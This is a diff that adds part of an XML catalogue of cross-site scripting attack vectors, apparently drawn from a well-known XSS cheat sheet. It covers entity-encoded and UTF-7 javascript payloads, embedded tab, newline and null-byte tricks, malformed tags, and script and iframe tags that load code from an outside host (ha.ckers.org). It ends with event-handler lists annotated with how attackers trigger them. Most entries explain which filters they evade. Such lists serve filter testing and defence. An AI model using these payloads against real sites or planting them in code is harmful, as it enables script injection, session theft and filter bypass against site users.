+		<code>&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;</code> 
+		<desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&amp;#XX;", since most people don&apos;t know about padding - up to 7 numeric characters total).  This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I&apos;ve seen this in the wild).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV w/Unicode</name> 
+		<code>&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;</code> 
+		<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter).  The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Hex Encoding w/out Semicolons</name> 
+		<code>&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</code> 
+		<desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>UTF-7 Encoding</name> 
+		<code>&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-</code> 
+		<desc>UTF-7 encoding - if the page that the XSS resides on doesn&apos;t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don&apos;t need the charset statement if the user&apos;s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire  http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google&apos;s custom 404 script.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Escaping JavaScript escapes</name> 
+		<code>\&quot;;alert(&apos;XSS&apos;);//</code> 
+		<desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=&quot;$ENV{QUERY_STRING}&quot;;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=&quot;&quot;;alert(&apos;XSS&apos;);//&quot;;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>End title tag</name> 
+		<code>&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;</code> 
+		<desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/broken up JavaScript</name> 
+		<code>&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;</code> 
+		<desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Tab</name> 
+		<code>&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded tab to break up the cross site scripting attack.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Encoded Tab</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded encoded tab to break up XSS.  For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Newline</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Carriage Return</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&apos;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Multiline w/Carriage Returns</name> 
+		<code>&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;</code> 
+		<desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Null Chars 1</name> 
+		<code>perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out</code> 
+		<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file.  Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Null Chars 2</name> 
+		<code>perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out</code> 
+		<desc>Here is a little known XSS attack vector using null characters.  You can actually break up the HTML itself using the same nulls as shown above. I&apos;ve seen this vector bypass some of the most restrictive XSS filters to date</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Spaces/Meta Chars</name> 
+		<code>&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn&apos;t take into account spaces in the word &quot;javascript:&quot; - which is correct since that won&apos;t render- and makes the false assumption that you can&apos;t have a space between the quote and the &quot;javascript:&quot; keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Non-Alpha/Non-Digit</name> 
+		<code>&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Non-alpha-non-digit XSS.  While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag.  The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.  For example &quot;&lt;SCRIPT\s&quot; != &quot;&lt;SCRIPT/XSS\s&quot;</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Non-Alpha/Non-Digit Part 2</name> 
+		<code>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;</code> 
+		<desc>Non-alpha-non-digit XSS part 2.  yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>No Closing Script Tag</name> 
+		<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code> 
+		<desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&apos;t actually need the &quot;&gt;&lt;/SCRIPT&gt;&quot; portion of this Cross Site Scripting vector. Firefox assumes it&apos;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&apos;t affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&apos;re not needed generally.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Protocol resolution in script tags</name> 
+		<code>&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code> 
+		<desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh&apos;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &quot;.j&quot; is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Half-Open HTML/JavaScript</name> 
+		<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;</code> 
+		<desc>Unlike Firefox, the IE rendering engine doesn&apos;t add extra data to your page, but it does allow the &quot;javascript:&quot; directive in images. This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
+	/((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/ 
+As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Double open angle brackets</name> 
+		<code>&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;</code> 
+		<desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Extraneous Open Brackets</name> 
+		<code>&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code> 
+		<desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/).  This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).  The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Malformed IMG Tags</name> 
+		<code>&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+		<desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes.  I assume this was originally meant to correct sloppy coding.  This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>No Quotes/Semicolons</name> 
+		<code>&lt;SCRIPT&gt;a=/XSS/
+alert(a.source)&lt;/SCRIPT&gt;</code> 
+		<desc>No single quotes or double quotes or semicolons.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 1</name> 
+		<code>See Below</code> 
+		<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
+			
+-FSCommand() (execute from within an embedded Flash object)
+ 
+-onAbort() (when user aborts the loading of an image)
+ 
+-onActivate() (when object is set as the active element)
+ 
+-onAfterPrint() (activates after user prints or previews print job)
+ 
+-onAfterUpdate() (activates on data object after updating data in the source object)
+ 
+-onBeforeActivate() (fires before the object is set as the active element)
+ 
+-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand(&quot;Copy&quot;) function)
+ 
+-onBeforeCut() (attacker executes the attack string right before a selection is cut)
+ 
+-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
+ 
+-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
+ 
+-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&quot;Paste&quot;) function)
+ 
+-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&quot;Print&quot;) function)
+ 
+-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
+ 
+-onBegin() (fires immediately when the element&apos;s timeline begins)
+ 
+-onBlur() (in the case where another popup is loaded and window loses focus)
+ 
+-onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window)
+ 
+-onCellChange() (fires when data changes in the data provider)
+ 
+-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
+ 
+-onClick() (fires when someone clicks on a form)
+ 
+-onContextMenu() (user would need to right click on attack area)
+ 
+-onControlSelect() (fires when the user is about to make a control selection of the object)
+ 
+-onCopy() (user needs to copy something or it can be exploited using the execCommand(&quot;Copy&quot;) command)
+ 
+-onCut() (user needs to copy something or it can be exploited using the execCommand(&quot;Cut&quot;) command)
+ 
+-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
+ 
+-onDataSetChanged() (fires when the data set exposed by a data source object changes)
+ 
+-onDataSetComplete() (fires to indicate that all data is available from the data source object)
+ 
+-onDblClick() (fires when user double-clicks a form element or a link)
+ 
+-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
+ 
+-onDrag() (requires that the user drags an object)
+ 
+-onDragEnd() (requires that the user drags an object)
+ 
+-onDragLeave() (requires that the user drags an object off a valid location)
+ 
+-onDragEnter() (requires that the user drags an object into a valid location)
+ 
+-onDragOver() (requires that the user drags an object into a valid location)
+ 
+-onDragDrop() (user drops an object (e.g. file) onto the browser window)
+ 
+-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 2</name> 
+		<code>See Below</code> 
+		<desc>-onEnd() (fires when the timeline ends.  This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=&quot;behavior:url(&apos;#default#time2&apos;)&quot; onEnd=&quot;alert(&apos;XSS&apos;)&quot;&gt;)
+			
+-onError() (loading of a document or image causes an error)
+ 
+-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
+ 
+-onFilterChange() (fires when a visual filter completes state change)
+ 
+-onFinish() (attacker could create the exploit when marquee is finished looping)
+ 
+-onFocus() (attacker executes the attack string when the window gets focus)
+ 
+-onFocusIn() (attacker executes the attack string when window gets focus)
+ 
+-onFocusOut() (attacker executes the attack string when window loses focus)
+ 
+-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
+ 
+-onKeyDown() (fires when user depresses a key)
+ 
+-onKeyPress() (fires when user presses or holds down a key)
+ 
+-onKeyUp() (fires when user releases a key)
+ 
+-onLayoutComplete() (user would have to print or print preview)
+ 
+-onLoad() (attacker executes the attack string after the window loads)
+ 
+-onLoseCapture() (can be exploited by the releaseCapture() method)
+ 
+-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
+ 
+-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
+ 
+-onMouseDown() (the attacker would need to get the user to click on an image)
+ 
+-onMouseEnter() (fires when cursor moves over an object or area)
+ 
+-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 
+-onMouseMove() (the attacker would need to get the user to mouse over an image or table)
+ 
+-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 
+-onMouseOver() (fires when cursor moves over an object or area)
+ 
+-onMouseUp() (the attacker would need to get the user to click on an image)
+ 
+-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
+ 
+-onMove() (user or attacker would move the page)
+ 
+-onMoveEnd() (user or attacker would move the page)
+ 
+-onMoveStart() (user or attacker would move the page)
+ 
+-onOutOfSync() (interrupt the element&apos;s ability to play its media as defined by the timeline)
+ 
+-onPaste() (user would need to paste or attacker could use the execCommand(&quot;Paste&quot;) function)
+ 
+-onPause() (fires on every element that is active when the timeline pauses, including the body element)
+ 
+-onProgress() (attacker would use this as a flash movie was loading)
+ 
+-onPropertyChange() (user or attacker would need to change an element property)
+ 
+-onReadyStateChange() (user or attacker would need to change an element property)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 3</name> 
+		<code>See Below</code> 
+		<desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
+			
+-onReset() (fires when user or attacker resets a form)
+ 
+-onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
+ 
+-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
+ 
+-onRowEnter() (user or attacker would need to change a row in a data source)
+ 
+-onRowExit() (user or attacker would need to change a row in a data source)
+ 
+-onRowsDelete() (user or attacker would need to delete a row in a data source)
+ 
+-onRowsInserted() (user or attacker would need to insert a row in a data source)
+ 
+-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
+ 
